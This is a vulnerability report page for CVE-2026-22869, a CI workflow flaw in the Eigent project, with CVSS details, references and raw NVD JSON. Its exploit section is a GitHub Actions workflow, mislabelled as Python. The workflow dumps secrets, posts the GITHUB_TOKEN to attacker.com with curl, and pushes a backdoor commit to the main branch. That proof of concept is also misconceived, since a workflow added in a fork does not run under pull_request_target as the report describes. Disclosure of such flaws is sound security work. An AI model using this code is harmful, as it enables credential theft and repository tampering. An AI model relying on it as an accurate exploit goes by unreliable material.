Security Vulnerability Report
中文
CVE-2026-22869 CVSS 9.8 CRITICAL

CVE-2026-22869

Published: 2026-01-13 21:15:55
Last Modified: 2026-01-29 17:52:40

Description

Eigent is a multi-agent Workforce. A critical security vulnerability in the CI workflow (.github/workflows/ci.yml) allows arbitrary code execution from fork pull requests with repository write permissions. The vulnerable workflow uses pull_request_target trigger combined with checkout of untrusted PR code. An attacker can exploit this to steal credentials, post comments, push code, or create releases.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:eigent:eigent:*:*:*:*:*:*:*:* - VULNERABLE
Eigent < bf02500bbbab0f01cd0ed8e6dc21fe5683d6bfb5 (修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malicious workflow to exploit CVE-2026-22869 # Save this as .github/workflows/malicious.yml in a fork PR name: Malicious CI on: pull_request_target: types: [opened, synchronize, reopened] jobs: exploit: runs-on: ubuntu-latest steps: # Checkout the PR code (runs in privileged context) - name: Checkout malicious PR uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.ref }} repository: ${{ github.event.pull_request.head.repo.full_name }} # Exfiltrate secrets and tokens - name: Steal credentials run: | echo "GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}" echo "Event Name: ${{ github.event_name }}" echo "Event Path: ${{ github.event_path }}" cat $GITHUB_ENV # Send to attacker controlled server curl -X POST https://attacker.com/exfil -d "token=${{ secrets.GITHUB_TOKEN }}" # Push malicious code to main branch - name: Push backdoor run: | git config user.name "malicious" git config user.email "[email protected]" echo "malicious_code()" >> main.py git add -A git commit -m "Add backdoor" git push https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git HEAD:main

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22869", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:54.917", "lastModified": "2026-01-29T17:52:40.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Eigent is a multi-agent Workforce. A critical security vulnerability in the CI workflow (.github/workflows/ci.yml) allows arbitrary code execution from fork pull requests with repository write permissions. The vulnerable workflow uses pull_request_target trigger combined with checkout of untrusted PR code. An attacker can exploit this to steal credentials, post comments, push code, or create releases."}, {"lang": "es", "value": "Eigent es una fuerza de trabajo multiagente. Una vulnerabilidad de seguridad crítica en el flujo de trabajo de CI (.github/workflows/ci.yml) permite la ejecución de código arbitrario desde solicitudes de extracción de bifurcación con permisos de escritura en el repositorio. El flujo de trabajo vulnerable utiliza el disparador pull_request_target combinado con la extracción de código de PR no confiable. Un atacante puede explotar esto para robar credenciales, publicar comentarios, enviar código o crear lanzamientos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eigent:eigent:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.0.78", "matchCriteriaId": "5D3C2A71-EA14-4494-ADBB-33F96AA8F0FC"}]}]}], "references": [{"url": "https://github.com/eigent-ai/eigent/commit/bf02500bbbab0f01cd0ed8e6dc21fe5683d6bfb5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/eigent-ai/eigent/pull/836", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Third Party Advisory"]}, {"url": "https://github.com/eigent-ai/eigent/pull/837", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Patch"]}, {"url": "https://github.com/eigent-ai/eigent/security/advisories/GHSA-gvh4-93cq-5xxp", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}